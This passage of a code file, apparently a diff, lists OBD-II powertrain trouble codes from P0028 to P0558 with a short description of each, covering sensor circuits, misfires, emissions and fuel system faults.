"Intake Valve Control Solenoid Circuit Range/Performance", + "P0029" => "Exhaust Valve Control Solenoid Circuit Range/Performance", + "P0030" => "HO2S Heater Control Circuit", + "P0031" => "HO2S Heater Control Circuit Low", + "P0032" => "HO2S Heater Control Circuit High", + "P0033" => "Turbo Charger Bypass Valve Control Circuit", + "P0034" => "Turbo Charger Bypass Valve Control Circuit Low", + "P0035" => "Turbo Charger Bypass Valve Control Circuit High", + "P0036" => "HO2S Heater Control Circuit", + "P0037" => "HO2S Heater Control Circuit Low", + "P0038" => "HO2S Heater Control Circuit High", + "P0039" => "Turbo/Super Charger Bypass Valve Control Circuit Range/Performance", + "P0040" => "O2 Sensor Signals Swapped Bank 1 Sensor 1/ Bank 2 Sensor 1", + "P0041" => "O2 Sensor Signals Swapped Bank 1 Sensor 2/ Bank 2 Sensor 2", + "P0042" => "HO2S Heater Control Circuit", + "P0043" => "HO2S Heater Control Circuit Low", + "P0044" => "HO2S Heater Control Circuit High", + "P0045" => "Turbo/Super Charger Boost Control Solenoid Circuit/Open", + "P0046" => "Turbo/Super Charger Boost Control Solenoid Circuit Range/Performance", + "P0047" => "Turbo/Super Charger Boost Control Solenoid Circuit Low", + "P0048" => "Turbo/Super Charger Boost Control Solenoid Circuit High", + "P0049" => "Turbo/Super Charger Turbine Overspeed", + "P0050" => "HO2S Heater Control Circuit", + "P0051" => "HO2S Heater Control Circuit Low", + "P0052" => "HO2S Heater Control Circuit High", + "P0053" => "HO2S Heater Resistance", + "P0054" => "HO2S Heater Resistance", + "P0055" => "HO2S Heater Resistance", + "P0056" => "HO2S Heater Control Circuit", + "P0057" => "HO2S Heater Control Circuit Low", + "P0058" => "HO2S Heater Control Circuit High", + "P0059" => "HO2S Heater Resistance", + "P0060" => "HO2S Heater Resistance", + "P0061" => "HO2S Heater Resistance", + "P0062" => "HO2S Heater Control Circuit", + "P0063" => "HO2S Heater Control Circuit Low", + "P0064" => "HO2S Heater Control Circuit High", + "P0065" => "Air Assisted Injector Control Range/Performance", + "P0066" => "Air Assisted Injector Control Circuit or Circuit Low", + "P0067" => "Air Assisted Injector Control Circuit High", + "P0068" => "MAP/MAF - Throttle Position Correlation", + "P0069" => "Manifold Absolute Pressure - Barometric Pressure Correlation", + "P0070" => "Ambient Air Temperature Sensor Circuit", + "P0071" => "Ambient Air Temperature Sensor Range/Performance", + "P0072" => "Ambient Air Temperature Sensor Circuit Low", + "P0073" => "Ambient Air Temperature Sensor Circuit High", + "P0074" => "Ambient Air Temperature Sensor Circuit Intermittent", + "P0075" => "Intake Valve Control Solenoid Circuit", + "P0076" => "Intake Valve Control Solenoid Circuit Low", + "P0077" => "Intake Valve Control Solenoid Circuit High", + "P0078" => "Exhaust Valve Control Solenoid Circuit", + "P0079" => "Exhaust Valve Control Solenoid Circuit Low", + "P0080" => "Exhaust Valve Control Solenoid Circuit High", + "P0081" => "Intake Valve Control Solenoid Circuit", + "P0082" => "Intake Valve Control Solenoid Circuit Low", + "P0083" => "Intake Valve Control Solenoid Circuit High", + "P0084" => "Exhaust Valve Control Solenoid Circuit", + "P0085" => "Exhaust Valve Control Solenoid Circuit Low", + "P0086" => "Exhaust Valve Control Solenoid Circuit High", + "P0087" => "Fuel Rail/System Pressure - Too Low", + "P0088" => "Fuel Rail/System Pressure - Too High", + "P0089" => "Fuel Pressure Regulator 1 Performance", + "P0090" => "Fuel Pressure Regulator 1 Control Circuit", + "P0091" => "Fuel Pressure Regulator 1 Control Circuit Low", + "P0092" => "Fuel Pressure Regulator 1 Control Circuit High", + "P0093" => "Fuel System Leak Detected - Large Leak", + "P0094" => "Fuel System Leak Detected - Small Leak", + "P0095" => "Intake Air Temperature Sensor 2 Circuit", + "P0096" => "Intake Air Temperature Sensor 2 Circuit Range/Performance", + "P0097" => "Intake Air Temperature Sensor 2 Circuit Low", + "P0098" => "Intake Air Temperature Sensor 2 Circuit High", + "P0099" => "Intake Air Temperature Sensor 2 Circuit Intermittent/Erratic", + "P0100" => "Mass or Volume Air Flow Circuit", + "P0101" => "Mass or Volume Air Flow Circuit Range/Performance", + "P0102" => "Mass or Volume Air Flow Circuit Low Input", + "P0103" => "Mass or Volume Air Flow Circuit High Input", + "P0104" => "Mass or Volume Air Flow Circuit Intermittent", + "P0105" => "Manifold Absolute Pressure/Barometric Pressure Circuit", + "P0106" => "Manifold Absolute Pressure/Barometric Pressure Circuit Range/Performance", + "P0107" => "Manifold Absolute Pressure/Barometric Pressure Circuit Low Input", + "P0108" => "Manifold Absolute Pressure/Barometric Pressure Circuit High Input", + "P0109" => "Manifold Absolute Pressure/Barometric Pressure Circuit Intermittent", + "P0110" => "Intake Air Temperature Sensor 1 Circuit", + "P0111" => "Intake Air Temperature Sensor 1 Circuit Range/Performance", + "P0112" => "Intake Air Temperature Sensor 1 Circuit Low", + "P0113" => "Intake Air Temperature Sensor 1 Circuit High", + "P0114" => "Intake Air Temperature Sensor 1 Circuit Intermittent", + "P0115" => "Engine Coolant Temperature Circuit", + "P0116" => "Engine Coolant Temperature Circuit Range/Performance", + "P0117" => "Engine Coolant Temperature Circuit Low", + "P0118" => "Engine Coolant Temperature Circuit High", + "P0119" => "Engine Coolant Temperature Circuit Intermittent", + "P0120" => "Throttle/Pedal Position Sensor/Switch 'A' Circuit", + "P0121" => "Throttle/Pedal Position Sensor/Switch 'A' Circuit Range/Performance", + "P0122" => "Throttle/Pedal Position Sensor/Switch 'A' Circuit Low", + "P0123" => "Throttle/Pedal Position Sensor/Switch 'A' Circuit High", + "P0124" => "Throttle/Pedal Position Sensor/Switch 'A' Circuit Intermittent", + "P0125" => "Insufficient Coolant Temperature for Closed Loop Fuel Control", + "P0126" => "Insufficient Coolant Temperature for Stable Operation", + "P0127" => "Intake Air Temperature Too High", + "P0128" => "Coolant Thermostat (Coolant Temperature Below Thermostat Regulating Temperature)", + "P0129" => "Barometric Pressure Too Low", + "P0130" => "O2 Sensor Circuit", + "P0131" => "O2 Sensor Circuit Low Voltage", + "P0132" => "O2 Sensor Circuit High Voltage", + "P0133" => "O2 Sensor Circuit Slow Response", + "P0134" => "O2 Sensor Circuit No Activity Detected", + "P0135" => "O2 Sensor Heater Circuit", + "P0136" => "O2 Sensor Circuit", + "P0137" => "O2 Sensor Circuit Low Voltage", + "P0138" => "O2 Sensor Circuit High Voltage", + "P0139" => "O2 Sensor Circuit Slow Response", + "P0140" => "O2 Sensor Circuit No Activity Detected", + "P0141" => "O2 Sensor Heater Circuit", + "P0142" => "O2 Sensor Circuit", + "P0143" => "O2 Sensor Circuit Low Voltage", + "P0144" => "O2 Sensor Circuit High Voltage", + "P0145" => "O2 Sensor Circuit Slow Response", + "P0146" => "O2 Sensor Circuit No Activity Detected", + "P0147" => "O2 Sensor Heater Circuit", + "P0148" => "Fuel Delivery Error", + "P0149" => "Fuel Timing Error", + "P0150" => "O2 Sensor Circuit", + "P0151" => "O2 Sensor Circuit Low Voltage", + "P0152" => "O2 Sensor Circuit High Voltage", + "P0153" => "O2 Sensor Circuit Slow Response", + "P0154" => "O2 Sensor Circuit No Activity Detected", + "P0155" => "O2 Sensor Heater Circuit", + "P0156" => "O2 Sensor Circuit", + "P0157" => "O2 Sensor Circuit Low Voltage", + "P0158" => "O2 Sensor Circuit High Voltage", + "P0159" => "O2 Sensor Circuit Slow Response", + "P0160" => "O2 Sensor Circuit No Activity Detected", + "P0161" => "O2 Sensor Heater Circuit", + "P0162" => "O2 Sensor Circuit", + "P0163" => "O2 Sensor Circuit Low Voltage", + "P0164" => "O2 Sensor Circuit High Voltage", + "P0165" => "O2 Sensor Circuit Slow Response", + "P0166" => "O2 Sensor Circuit No Activity Detected", + "P0167" => "O2 Sensor Heater Circuit", + "P0168" => "Fuel Temperature Too High", + "P0169" => "Incorrect Fuel Composition", + "P0170" => "Fuel Trim", + "P0171" => "System Too Lean", + "P0172" => "System Too Rich", + "P0173" => "Fuel Trim", + "P0174" => "System Too Lean", + "P0175" => "System Too Rich", + "P0176" => "Fuel Composition Sensor Circuit", + "P0177" => "Fuel Composition Sensor Circuit Range/Performance", + "P0178" => "Fuel Composition Sensor Circuit Low", + "P0179" => "Fuel Composition Sensor Circuit High", + "P0180" => "Fuel Temperature Sensor A Circuit", + "P0181" => "Fuel Temperature Sensor A Circuit Range/Performance", + "P0182" => "Fuel Temperature Sensor A Circuit Low", + "P0183" => "Fuel Temperature Sensor A Circuit High", + "P0184" => "Fuel Temperature Sensor A Circuit Intermittent", + "P0185" => "Fuel Temperature Sensor B Circuit", + "P0186" => "Fuel Temperature Sensor B Circuit Range/Performance", + "P0187" => "Fuel Temperature Sensor B Circuit Low", + "P0188" => "Fuel Temperature Sensor B Circuit High", + "P0189" => "Fuel Temperature Sensor B Circuit Intermittent", + "P0190" => "Fuel Rail Pressure Sensor Circuit", + "P0191" => "Fuel Rail Pressure Sensor Circuit Range/Performance", + "P0192" => "Fuel Rail Pressure Sensor Circuit Low", + "P0193" => "Fuel Rail Pressure Sensor Circuit High", + "P0194" => "Fuel Rail Pressure Sensor Circuit Intermittent", + "P0195" => "Engine Oil Temperature Sensor", + "P0196" => "Engine Oil Temperature Sensor Range/Performance", + "P0197" => "Engine Oil Temperature Sensor Low", + "P0198" => "Engine Oil Temperature Sensor High", + "P0199" => "Engine Oil Temperature Sensor Intermittent", + "P0200" => "Injector Circuit/Open", + "P0201" => "Injector Circuit/Open - Cylinder 1", + "P0202" => "Injector Circuit/Open - Cylinder 2", + "P0203" => "Injector Circuit/Open - Cylinder 3", + "P0204" => "Injector Circuit/Open - Cylinder 4", + "P0205" => "Injector Circuit/Open - Cylinder 5", + "P0206" => "Injector Circuit/Open - Cylinder 6", + "P0207" => "Injector Circuit/Open - Cylinder 7", + "P0208" => "Injector Circuit/Open - Cylinder 8", + "P0209" => "Injector Circuit/Open - Cylinder 9", + "P0210" => "Injector Circuit/Open - Cylinder 10", + "P0211" => "Injector Circuit/Open - Cylinder 11", + "P0212" => "Injector Circuit/Open - Cylinder 12", + "P0213" => "Cold Start Injector 1", + "P0214" => "Cold Start Injector 2", + "P0215" => "Engine Shutoff Solenoid", + "P0216" => "Injector/Injection Timing Control Circuit", + "P0217" => "Engine Coolant Over Temperature Condition", + "P0218" => "Transmission Fluid Over Temperature Condition", + "P0219" => "Engine Overspeed Condition", + "P0220" => "Throttle/Pedal Position Sensor/Switch 'B' Circuit", + "P0221" => "Throttle/Pedal Position Sensor/Switch 'B' Circuit Range/Performance", + "P0222" => "Throttle/Pedal Position Sensor/Switch 'B' Circuit Low", + "P0223" => "Throttle/Pedal Position Sensor/Switch 'B' Circuit High", + "P0224" => "Throttle/Pedal Position Sensor/Switch 'B' Circuit Intermittent", + "P0225" => "Throttle/Pedal Position Sensor/Switch 'C' Circuit", + "P0226" => "Throttle/Pedal Position Sensor/Switch 'C' Circuit Range/Performance", + "P0227" => "Throttle/Pedal Position Sensor/Switch 'C' Circuit Low", + "P0228" => "Throttle/Pedal Position Sensor/Switch 'C' Circuit High", + "P0229" => "Throttle/Pedal Position Sensor/Switch 'C' Circuit Intermittent", + "P0230" => "Fuel Pump Primary Circuit", + "P0231" => "Fuel Pump Secondary Circuit Low", + "P0232" => "Fuel Pump Secondary Circuit High", + "P0233" => "Fuel Pump Secondary Circuit Intermittent", + "P0234" => "Turbo/Super Charger Overboost Condition", + "P0235" => "Turbo/Super Charger Boost Sensor 'A' Circuit", + "P0236" => "Turbo/Super Charger Boost Sensor 'A' Circuit Range/Performance", + "P0237" => "Turbo/Super Charger Boost Sensor 'A' Circuit Low", + "P0238" => "Turbo/Super Charger Boost Sensor 'A' Circuit High", + "P0239" => "Turbo/Super Charger Boost Sensor 'B' Circuit", + "P0240" => "Turbo/Super Charger Boost Sensor 'B' Circuit Range/Performance", + "P0241" => "Turbo/Super Charger Boost Sensor 'B' Circuit Low", + "P0242" => "Turbo/Super Charger Boost Sensor 'B' Circuit High", + "P0243" => "Turbo/Super Charger Wastegate Solenoid 'A'", + "P0244" => "Turbo/Super Charger Wastegate Solenoid 'A' Range/Performance", + "P0245" => "Turbo/Super Charger Wastegate Solenoid 'A' Low", + "P0246" => "Turbo/Super Charger Wastegate Solenoid 'A' High", + "P0247" => "Turbo/Super Charger Wastegate Solenoid 'B'", + "P0248" => "Turbo/Super Charger Wastegate Solenoid 'B' Range/Performance", + "P0249" => "Turbo/Super Charger Wastegate Solenoid 'B' Low", + "P0250" => "Turbo/Super Charger Wastegate Solenoid 'B' High", + "P0251" => "Injection Pump Fuel Metering Control 'A' (Cam/Rotor/Injector)", + "P0252" => "Injection Pump Fuel Metering Control 'A' Range/Performance (Cam/Rotor/Injector)", + "P0253" => "Injection Pump Fuel Metering Control 'A' Low (Cam/Rotor/Injector)", + "P0254" => "Injection Pump Fuel Metering Control 'A' High (Cam/Rotor/Injector)", + "P0255" => "Injection Pump Fuel Metering Control 'A' Intermittent (Cam/Rotor/Injector)", + "P0256" => "Injection Pump Fuel Metering Control 'B' (Cam/Rotor/Injector)", + "P0257" => "Injection Pump Fuel Metering Control 'B' Range/Performance (Cam/Rotor/Injector)", + "P0258" => "Injection Pump Fuel Metering Control 'B' Low (Cam/Rotor/Injector)", + "P0259" => "Injection Pump Fuel Metering Control 'B' High (Cam/Rotor/Injector)", + "P0260" => "Injection Pump Fuel Metering Control 'B' Intermittent (Cam/Rotor/Injector)", + "P0261" => "Cylinder 1 Injector Circuit Low", + "P0262" => "Cylinder 1 Injector Circuit High", + "P0263" => "Cylinder 1 Contribution/Balance", + "P0264" => "Cylinder 2 Injector Circuit Low", + "P0265" => "Cylinder 2 Injector Circuit High", + "P0266" => "Cylinder 2 Contribution/Balance", + "P0267" => "Cylinder 3 Injector Circuit Low", + "P0268" => "Cylinder 3 Injector Circuit High", + "P0269" => "Cylinder 3 Contribution/Balance", + "P0270" => "Cylinder 4 Injector Circuit Low", + "P0271" => "Cylinder 4 Injector Circuit High", + "P0272" => "Cylinder 4 Contribution/Balance", + "P0273" => "Cylinder 5 Injector Circuit Low", + "P0274" => "Cylinder 5 Injector Circuit High", + "P0275" => "Cylinder 5 Contribution/Balance", + "P0276" => "Cylinder 6 Injector Circuit Low", + "P0277" => "Cylinder 6 Injector Circuit High", + "P0278" => "Cylinder 6 Contribution/Balance", + "P0279" => "Cylinder 7 Injector Circuit Low", + "P0280" => "Cylinder 7 Injector Circuit High", + "P0281" => "Cylinder 7 Contribution/Balance", + "P0282" => "Cylinder 8 Injector Circuit Low", + "P0283" => "Cylinder 8 Injector Circuit High", + "P0284" => "Cylinder 8 Contribution/Balance", + "P0285" => "Cylinder 9 Injector Circuit Low", + "P0286" => "Cylinder 9 Injector Circuit High", + "P0287" => "Cylinder 9 Contribution/Balance", + "P0288" => "Cylinder 10 Injector Circuit Low", + "P0289" => "Cylinder 10 Injector Circuit High", + "P0290" => "Cylinder 10 Contribution/Balance", + "P0291" => "Cylinder 11 Injector Circuit Low", + "P0292" => "Cylinder 11 Injector Circuit High", + "P0293" => "Cylinder 11 Contribution/Balance", + "P0294" => "Cylinder 12 Injector Circuit Low", + "P0295" => "Cylinder 12 Injector Circuit High", + "P0296" => "Cylinder 12 Contribution/Balance", + "P0297" => "Vehicle Overspeed Condition", + "P0298" => "Engine Oil Over Temperature", + "P0299" => "Turbo/Super Charger Underboost", + "P0300" => "Random/Multiple Cylinder Misfire Detected", + "P0301" => "Cylinder 1 Misfire Detected", + "P0302" => "Cylinder 2 Misfire Detected", + "P0303" => "Cylinder 3 Misfire Detected", + "P0304" => "Cylinder 4 Misfire Detected", + "P0305" => "Cylinder 5 Misfire Detected", + "P0306" => "Cylinder 6 Misfire Detected", + "P0307" => "Cylinder 7 Misfire Detected", + "P0308" => "Cylinder 8 Misfire Detected", + "P0309" => "Cylinder 9 Misfire Detected", + "P0310" => "Cylinder 10 Misfire Detected", + "P0311" => "Cylinder 11 Misfire Detected", + "P0312" => "Cylinder 12 Misfire Detected", + "P0313" => "Misfire Detected with Low Fuel", + "P0314" => "Single Cylinder Misfire (Cylinder not Specified)", + "P0315" => "Crankshaft Position System Variation Not Learned", + "P0316" => "Engine Misfire Detected on Startup (First 1000 Revolutions)", + "P0317" => "Rough Road Hardware Not Present", + "P0318" => "Rough Road Sensor 'A' Signal Circuit", + "P0319" => "Rough Road Sensor 'B'", + "P0320" => "Ignition/Distributor Engine Speed Input Circuit", + "P0321" => "Ignition/Distributor Engine Speed Input Circuit Range/Performance", + "P0322" => "Ignition/Distributor Engine Speed Input Circuit No Signal", + "P0323" => "Ignition/Distributor Engine Speed Input Circuit Intermittent", + "P0324" => "Knock Control System Error", + "P0325" => "Knock Sensor 1 Circuit", + "P0326" => "Knock Sensor 1 Circuit Range/Performance", + "P0327" => "Knock Sensor 1 Circuit Low", + "P0328" => "Knock Sensor 1 Circuit High", + "P0329" => "Knock Sensor 1 Circuit Input Intermittent", + "P0330" => "Knock Sensor 2 Circuit", + "P0331" => "Knock Sensor 2 Circuit Range/Performance", + "P0332" => "Knock Sensor 2 Circuit Low", + "P0333" => "Knock Sensor 2 Circuit High", + "P0334" => "Knock Sensor 2 Circuit Input Intermittent", + "P0335" => "Crankshaft Position Sensor 'A' Circuit", + "P0336" => "Crankshaft Position Sensor 'A' Circuit Range/Performance", + "P0337" => "Crankshaft Position Sensor 'A' Circuit Low", + "P0338" => "Crankshaft Position Sensor 'A' Circuit High", + "P0339" => "Crankshaft Position Sensor 'A' Circuit Intermittent", + "P0340" => "Camshaft Position Sensor 'A' Circuit", + "P0341" => "Camshaft Position Sensor 'A' Circuit Range/Performance", + "P0342" => "Camshaft Position Sensor 'A' Circuit Low", + "P0343" => "Camshaft Position Sensor 'A' Circuit High", + "P0344" => "Camshaft Position Sensor 'A' Circuit Intermittent", + "P0345" => "Camshaft Position Sensor 'A' Circuit", + "P0346" => "Camshaft Position Sensor 'A' Circuit Range/Performance", + "P0347" => "Camshaft Position Sensor 'A' Circuit Low", + "P0348" => "Camshaft Position Sensor 'A' Circuit High", + "P0349" => "Camshaft Position Sensor 'A' Circuit Intermittent", + "P0350" => "Ignition Coil Primary/Secondary Circuit", + "P0351" => "Ignition Coil 'A' Primary/Secondary Circuit", + "P0352" => "Ignition Coil 'B' Primary/Secondary Circuit", + "P0353" => "Ignition Coil 'C' Primary/Secondary Circuit", + "P0354" => "Ignition Coil 'D' Primary/Secondary Circuit", + "P0355" => "Ignition Coil 'E' Primary/Secondary Circuit", + "P0356" => "Ignition Coil 'F' Primary/Secondary Circuit", + "P0357" => "Ignition Coil 'G' Primary/Secondary Circuit", + "P0358" => "Ignition Coil 'H' Primary/Secondary Circuit", + "P0359" => "Ignition Coil 'I' Primary/Secondary Circuit", + "P0360" => "Ignition Coil 'J' Primary/Secondary Circuit", + "P0361" => "Ignition Coil 'K' Primary/Secondary Circuit", + "P0362" => "Ignition Coil 'L' Primary/Secondary Circuit", + "P0363" => "Misfire Detected - Fueling Disabled", + "P0364" => "Reserved", + "P0365" => "Camshaft Position Sensor 'B' Circuit", + "P0366" => "Camshaft Position Sensor 'B' Circuit Range/Performance", + "P0367" => "Camshaft Position Sensor 'B' Circuit Low", + "P0368" => "Camshaft Position Sensor 'B' Circuit High", + "P0369" => "Camshaft Position Sensor 'B' Circuit Intermittent", + "P0370" => "Timing Reference High Resolution Signal 'A'", + "P0371" => "Timing Reference High Resolution Signal 'A' Too Many Pulses", + "P0372" => "Timing Reference High Resolution Signal 'A' Too Few Pulses", + "P0373" => "Timing Reference High Resolution Signal 'A' Intermittent/Erratic Pulses", + "P0374" => "Timing Reference High Resolution Signal 'A' No Pulse", + "P0375" => "Timing Reference High Resolution Signal 'B'", + "P0376" => "Timing Reference High Resolution Signal 'B' Too Many Pulses", + "P0377" => "Timing Reference High Resolution Signal 'B' Too Few Pulses", + "P0378" => "Timing Reference High Resolution Signal 'B' Intermittent/Erratic Pulses", + "P0379" => "Timing Reference High Resolution Signal 'B' No Pulses", + "P0380" => "Glow Plug/Heater Circuit 'A'", + "P0381" => "Glow Plug/Heater Indicator Circuit", + "P0382" => "Glow Plug/Heater Circuit 'B'", + "P0383" => "Reserved by SAE J2012", + "P0384" => "Reserved by SAE J2012", + "P0385" => "Crankshaft Position Sensor 'B' Circuit", + "P0386" => "Crankshaft Position Sensor 'B' Circuit Range/Performance", + "P0387" => "Crankshaft Position Sensor 'B' Circuit Low", + "P0388" => "Crankshaft Position Sensor 'B' Circuit High", + "P0389" => "Crankshaft Position Sensor 'B' Circuit Intermittent", + "P0390" => "Camshaft Position Sensor 'B' Circuit", + "P0391" => "Camshaft Position Sensor 'B' Circuit Range/Performance", + "P0392" => "Camshaft Position Sensor 'B' Circuit Low", + "P0393" => "Camshaft Position Sensor 'B' Circuit High", + "P0394" => "Camshaft Position Sensor 'B' Circuit Intermittent", + "P0400" => "Exhaust Gas Recirculation Flow", + "P0401" => "Exhaust Gas Recirculation Flow Insufficient Detected", + "P0402" => "Exhaust Gas Recirculation Flow Excessive Detected", + "P0403" => "Exhaust Gas Recirculation Control Circuit", + "P0404" => "Exhaust Gas Recirculation Control Circuit Range/Performance", + "P0405" => "Exhaust Gas Recirculation Sensor 'A' Circuit Low", + "P0406" => "Exhaust Gas Recirculation Sensor 'A' Circuit High", + "P0407" => "Exhaust Gas Recirculation Sensor 'B' Circuit Low", + "P0408" => "Exhaust Gas Recirculation Sensor 'B' Circuit High", + "P0409" => "Exhaust Gas Recirculation Sensor 'A' Circuit", + "P0410" => "Secondary Air Injection System", + "P0411" => "Secondary Air Injection System Incorrect Flow Detected", + "P0412" => "Secondary Air Injection System Switching Valve 'A' Circuit", + "P0413" => "Secondary Air Injection System Switching Valve 'A' Circuit Open", + "P0414" => "Secondary Air Injection System Switching Valve 'A' Circuit Shorted", + "P0415" => "Secondary Air Injection System Switching Valve 'B' Circuit", + "P0416" => "Secondary Air Injection System Switching Valve 'B' Circuit Open", + "P0417" => "Secondary Air Injection System Switching Valve 'B' Circuit Shorted", + "P0418" => "Secondary Air Injection System Control 'A' Circuit", + "P0419" => "Secondary Air Injection System Control 'B' Circuit", + "P0420" => "Catalyst System Efficiency Below Threshold", + "P0421" => "Warm Up Catalyst Efficiency Below Threshold", + "P0422" => "Main Catalyst Efficiency Below Threshold", + "P0423" => "Heated Catalyst Efficiency Below Threshold", + "P0424" => "Heated Catalyst Temperature Below Threshold", + "P0425" => "Catalyst Temperature Sensor", + "P0426" => "Catalyst Temperature Sensor Range/Performance", + "P0427" => "Catalyst Temperature Sensor Low", + "P0428" => "Catalyst Temperature Sensor High", + "P0429" => "Catalyst Heater Control Circuit", + "P0430" => "Catalyst System Efficiency Below Threshold", + "P0431" => "Warm Up Catalyst Efficiency Below Threshold", + "P0432" => "Main Catalyst Efficiency Below Threshold", + "P0433" => "Heated Catalyst Efficiency Below Threshold", + "P0434" => "Heated Catalyst Temperature Below Threshold", + "P0435" => "Catalyst Temperature Sensor", + "P0436" => "Catalyst Temperature Sensor Range/Performance", + "P0437" => "Catalyst Temperature Sensor Low", + "P0438" => "Catalyst Temperature Sensor High", + "P0439" => "Catalyst Heater Control Circuit", + "P0440" => "Evaporative Emission System", + "P0441" => "Evaporative Emission System Incorrect Purge Flow", + "P0442" => "Evaporative Emission System Leak Detected (small leak)", + "P0443" => "Evaporative Emission System Purge Control Valve Circuit", + "P0444" => "Evaporative Emission System Purge Control Valve Circuit Open", + "P0445" => "Evaporative Emission System Purge Control Valve Circuit Shorted", + "P0446" => "Evaporative Emission System Vent Control Circuit", + "P0447" => "Evaporative Emission System Vent Control Circuit Open", + "P0448" => "Evaporative Emission System Vent Control Circuit Shorted", + "P0449" => "Evaporative Emission System Vent Valve/Solenoid Circuit", + "P0450" => "Evaporative Emission System Pressure Sensor/Switch", + "P0451" => "Evaporative Emission System Pressure Sensor/Switch Range/Performance", + "P0452" => "Evaporative Emission System Pressure Sensor/Switch Low", + "P0453" => "Evaporative Emission System Pressure Sensor/Switch High", + "P0454" => "Evaporative Emission System Pressure Sensor/Switch Intermittent", + "P0455" => "Evaporative Emission System Leak Detected (large leak)", + "P0456" => "Evaporative Emission System Leak Detected (very small leak)", + "P0457" => "Evaporative Emission System Leak Detected (fuel cap loose/off)", + "P0458" => "Evaporative Emission System Purge Control Valve Circuit Low", + "P0459" => "Evaporative Emission System Purge Control Valve Circuit High", + "P0460" => "Fuel Level Sensor 'A' Circuit", + "P0461" => "Fuel Level Sensor 'A' Circuit Range/Performance", + "P0462" => "Fuel Level Sensor 'A' Circuit Low", + "P0463" => "Fuel Level Sensor 'A' Circuit High", + "P0464" => "Fuel Level Sensor 'A' Circuit Intermittent", + "P0465" => "EVAP Purge Flow Sensor Circuit", + "P0466" => "EVAP Purge Flow Sensor Circuit Range/Performance", + "P0467" => "EVAP Purge Flow Sensor Circuit Low", + "P0468" => "EVAP Purge Flow Sensor Circuit High", + "P0469" => "EVAP Purge Flow Sensor Circuit Intermittent", + "P0470" => "Exhaust Pressure Sensor", + "P0471" => "Exhaust Pressure Sensor Range/Performance", + "P0472" => "Exhaust Pressure Sensor Low", + "P0473" => "Exhaust Pressure Sensor High", + "P0474" => "Exhaust Pressure Sensor Intermittent", + "P0475" => "Exhaust Pressure Control Valve", + "P0476" => "Exhaust Pressure Control Valve Range/Performance", + "P0477" => "Exhaust Pressure Control Valve Low", + "P0478" => "Exhaust Pressure Control Valve High", + "P0479" => "Exhaust Pressure Control Valve Intermittent", + "P0480" => "Fan 1 Control Circuit", + "P0481" => "Fan 2 Control Circuit", + "P0482" => "Fan 3 Control Circuit", + "P0483" => "Fan Rationality Check", + "P0484" => "Fan Circuit Over Current", + "P0485" => "Fan Power/Ground Circuit", + "P0486" => "Exhaust Gas Recirculation Sensor 'B' Circuit", + "P0487" => "Exhaust Gas Recirculation Throttle Position Control Circuit", + "P0488" => "Exhaust Gas Recirculation Throttle Position Control Range/Performance", + "P0489" => "Exhaust Gas Recirculation Control Circuit Low", + "P0490" => "Exhaust Gas Recirculation Control Circuit High", + "P0491" => "Secondary Air Injection System Insufficient Flow", + "P0492" => "Secondary Air Injection System Insufficient Flow", + "P0493" => "Fan Overspeed", + "P0494" => "Fan Speed Low", + "P0495" => "Fan Speed High", + "P0496" => "Evaporative Emission System High Purge Flow", + "P0497" => "Evaporative Emission System Low Purge Flow", + "P0498" => "Evaporative Emission System Vent Valve Control Circuit Low", + "P0499" => "Evaporative Emission System Vent Valve Control Circuit High", + "P0500" => "Vehicle Speed Sensor 'A'", + "P0501" => "Vehicle Speed Sensor 'A' Range/Performance", + "P0502" => "Vehicle Speed Sensor 'A' Circuit Low Input", + "P0503" => "Vehicle Speed Sensor 'A' Intermittent/Erratic/High", + "P0504" => "Brake Switch 'A'/'B' Correlation", + "P0505" => "Idle Air Control System", + "P0506" => "Idle Air Control System RPM Lower Than Expected", + "P0507" => "Idle Air Control System RPM Higher Than Expected", + "P0508" => "Idle Air Control System Circuit Low", + "P0509" => "Idle Air Control System Circuit High", + "P0510" => "Closed Throttle Position Switch", + "P0511" => "Idle Air Control Circuit", + "P0512" => "Starter Request Circuit", + "P0513" => "Incorrect Immobilizer Key", + "P0514" => "Battery Temperature Sensor Circuit Range/Performance", + "P0515" => "Battery Temperature Sensor Circuit", + "P0516" => "Battery Temperature Sensor Circuit Low", + "P0517" => "Battery Temperature Sensor Circuit High", + "P0518" => "Idle Air Control Circuit Intermittent", + "P0519" => "Idle Air Control System Performance", + "P0520" => "Engine Oil Pressure Sensor/Switch Circuit", + "P0521" => "Engine Oil Pressure Sensor/Switch Range/Performance", + "P0522" => "Engine Oil Pressure Sensor/Switch Low Voltage", + "P0523" => "Engine Oil Pressure Sensor/Switch High Voltage", + "P0524" => "Engine Oil Pressure Too Low", + "P0525" => "Cruise Control Servo Control Circuit Range/Performance", + "P0526" => "Fan Speed Sensor Circuit", + "P0527" => "Fan Speed Sensor Circuit Range/Performance", + "P0528" => "Fan Speed Sensor Circuit No Signal", + "P0529" => "Fan Speed Sensor Circuit Intermittent", + "P0530" => "A/C Refrigerant Pressure Sensor 'A' Circuit", + "P0531" => "A/C Refrigerant Pressure Sensor 'A' Circuit Range/Performance", + "P0532" => "A/C Refrigerant Pressure Sensor 'A' Circuit Low", + "P0533" => "A/C Refrigerant Pressure Sensor 'A' Circuit High", + "P0534" => "Air Conditioner Refrigerant Charge Loss", + "P0535" => "A/C Evaporator Temperature Sensor Circuit", + "P0536" => "A/C Evaporator Temperature Sensor Circuit Range/Performance", + "P0537" => "A/C Evaporator Temperature Sensor Circuit Low", + "P0538" => "A/C Evaporator Temperature Sensor Circuit High", + "P0539" => "A/C Evaporator Temperature Sensor Circuit Intermittent", + "P0540" => "Intake Air Heater 'A' Circuit", + "P0541" => "Intake Air Heater 'A' Circuit Low", + "P0542" => "Intake Air Heater 'A' Circuit High", + "P0543" => "Intake Air Heater 'A' Circuit Open", + "P0544" => "Exhaust Gas Temperature Sensor Circuit", + "P0545" => "Exhaust Gas Temperature Sensor Circuit Low", + "P0546" => "Exhaust Gas Temperature Sensor Circuit High", + "P0547" => "Exhaust Gas Temperature Sensor Circuit", + "P0548" => "Exhaust Gas Temperature Sensor Circuit Low", + "P0549" => "Exhaust Gas Temperature Sensor Circuit High", + "P0550" => "Power Steering Pressure Sensor/Switch Circuit", + "P0551" => "Power Steering Pressure Sensor/Switch Circuit Range/Performance", + "P0552" => "Power Steering Pressure Sensor/Switch Circuit Low Input", + "P0553" => "Power Steering Pressure Sensor/Switch Circuit High Input", + "P0554" => "Power Steering Pressure Sensor/Switch Circuit Intermittent", + "P0555" => "Brake Booster Pressure Sensor Circuit", + "P0556" => "Brake Booster Pressure Sensor Circuit Range/Performance", + "P0557" => "Brake Booster Pressure Sensor Circuit Low Input", + "P0558" => "Brake Booster Pressure Sensor Circuit High Input", + 